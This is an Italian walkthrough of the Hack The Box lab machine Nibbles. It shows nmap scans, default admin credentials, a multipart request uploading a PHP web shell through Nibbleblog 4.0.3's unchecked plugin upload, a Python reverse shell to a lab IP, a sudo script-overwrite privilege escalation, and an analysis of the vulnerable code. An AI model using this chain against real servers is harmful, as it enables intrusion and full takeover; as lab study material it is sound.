HTB - Nibbles
Default IP: 10.10.10.75
Video: HTB - Nibbles
Table of contents:
A seguire è riportato un breve walkthrough della macchina Nibbles offerta dalla piattaforma Hack the Box.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
admin:nibbles
cat /home/nibbler/user.txt
Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Unzip the personal.zip
file in in nibbles home dir and execute
the following
echo "echo /root/root.txt > .logic && chmod 777 .logic" > monitor.sh sudo -u root ./monitor.sh
Uno scan base con nmap rivela la seguente situazione
nmap -sC -sV nibbles
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 02:08 CET Nmap scan report for nibbles (10.129.66.223) Host is up (0.055s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Come possiamo vedere, abbiamo un server in ascolto nella porta \(80\).
Andando nella pagina principale del web server e visualizzando il codice html della pagina troviamo il seguente commento
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Andando nella risorsa /nibbleblog
del sito troviamo una istanza di
nibbleblog, una blog engine scritta in php. La versione dell'engine
è la 4.0.3
, che è vulneraible alla seguente Remote File Inclusion
(RFI):
Per exploitare questa RFI possiamo procedere come segue
Attiviamo il plugin
my image
con la seguente richiesta httpcurl http://nibbles/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image
Carichiamo lo script php facendo finta che sia un'immagine con la seguente richiesta HTTP, che può essere inviata ad esempio con
burpsuite
.POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1 Host: nibbles Content-Length: 1026 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://nibbles Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydfj2vBXAZsGAFBeB User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://nibbles/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=tj71gvde5ucrj0jirrlt5e11h5 Connection: close ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="plugin" my_image ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="title" My image ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="position" 4 ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="caption" ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="image"; filename="shell.php" Content-Type: application/x-php <?php echo system($_REQUEST['cmd']) ?> ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="image_resize" 1 ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="image_width" 230 ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="image_height" 200 ------WebKitFormBoundarydfj2vBXAZsGAFBeB Content-Disposition: form-data; name="image_option" auto ------WebKitFormBoundarydfj2vBXAZsGAFBeB--
Una volta che abbiamo caricato la shell nel server remoto possiamo eseguire il nostro codice e spawnare una reverse shell
http://nibbles/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.95%22,4321));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27%20&
Una volta che siamo dentro la macchina possiamo leggere direttamente la user flag situata nella seguente path
/home/nibbler/user.txt
in quanto siamo loggati come l'utente nibbler
.
Per ottenere la root flag invece dobbiamo prima unzippare il file
personal.zip
presente nella home directory dell'utente nibbler
.
Eseguendo il comando sudo -l
troviamo la seguente situazione
Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Come possiamo vedere, l'utente nibbler
può esseguire lo script
monitor.sh
situato nella seguente path
/home/nibbler/personal/stuff
L'idea quindi è quella di modificare lo script monitor.sh
e di
eseguirlo come root
echo "echo /root/root.txt > .logic && chmod 777 .logic" > monitor.sh sudo -u root ./monitor.sh
A seguire qualche note extra.
Per capire come è stato possibile exploitare la RFI di nibbleblog
4.0.3
scarichiamo il codice dal seguente mirror.
Nibbleblog 4.0.3 Download Mirrors
La vulneraiblità è presente nella funzione move_uploaded_file()
,
riportata qui a seguire. Da notare il commento "WARNING".
if( ($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['plugin']) ) { $plugin = $plugins_all['PLUGIN_'.strtoupper($_POST['plugin'])]; // PLUGIN_MY_IMAGE if( $plugin->init_db() ) { // upload files foreach($_FILES as $field_name=>$file) { // get file extension (.php) $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); // get destination dir (/content/private/plugins/my_image) $destination = PATH_PLUGINS_DB.$plugin->get_dir_name(); // complete file name $complete = $destination.'/'.$field_name.'.'.$extension; // WARNING (!!!): no checks on the extension are made // before uploading! Upload the new file and move if(move_uploaded_file($file["tmp_name"], $complete)) { // Resize images if requested by the plugin if(isset($_POST[$field_name.'_resize'])) { $width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200; $height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200; $option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto'; $quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100; $Resize->setImage($complete, $width, $height, $option); $Resize->saveImage($complete, $quality, true); } } } unset($_POST['plugin']); // update fields $plugin->set_fields_db($_POST); Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']); } }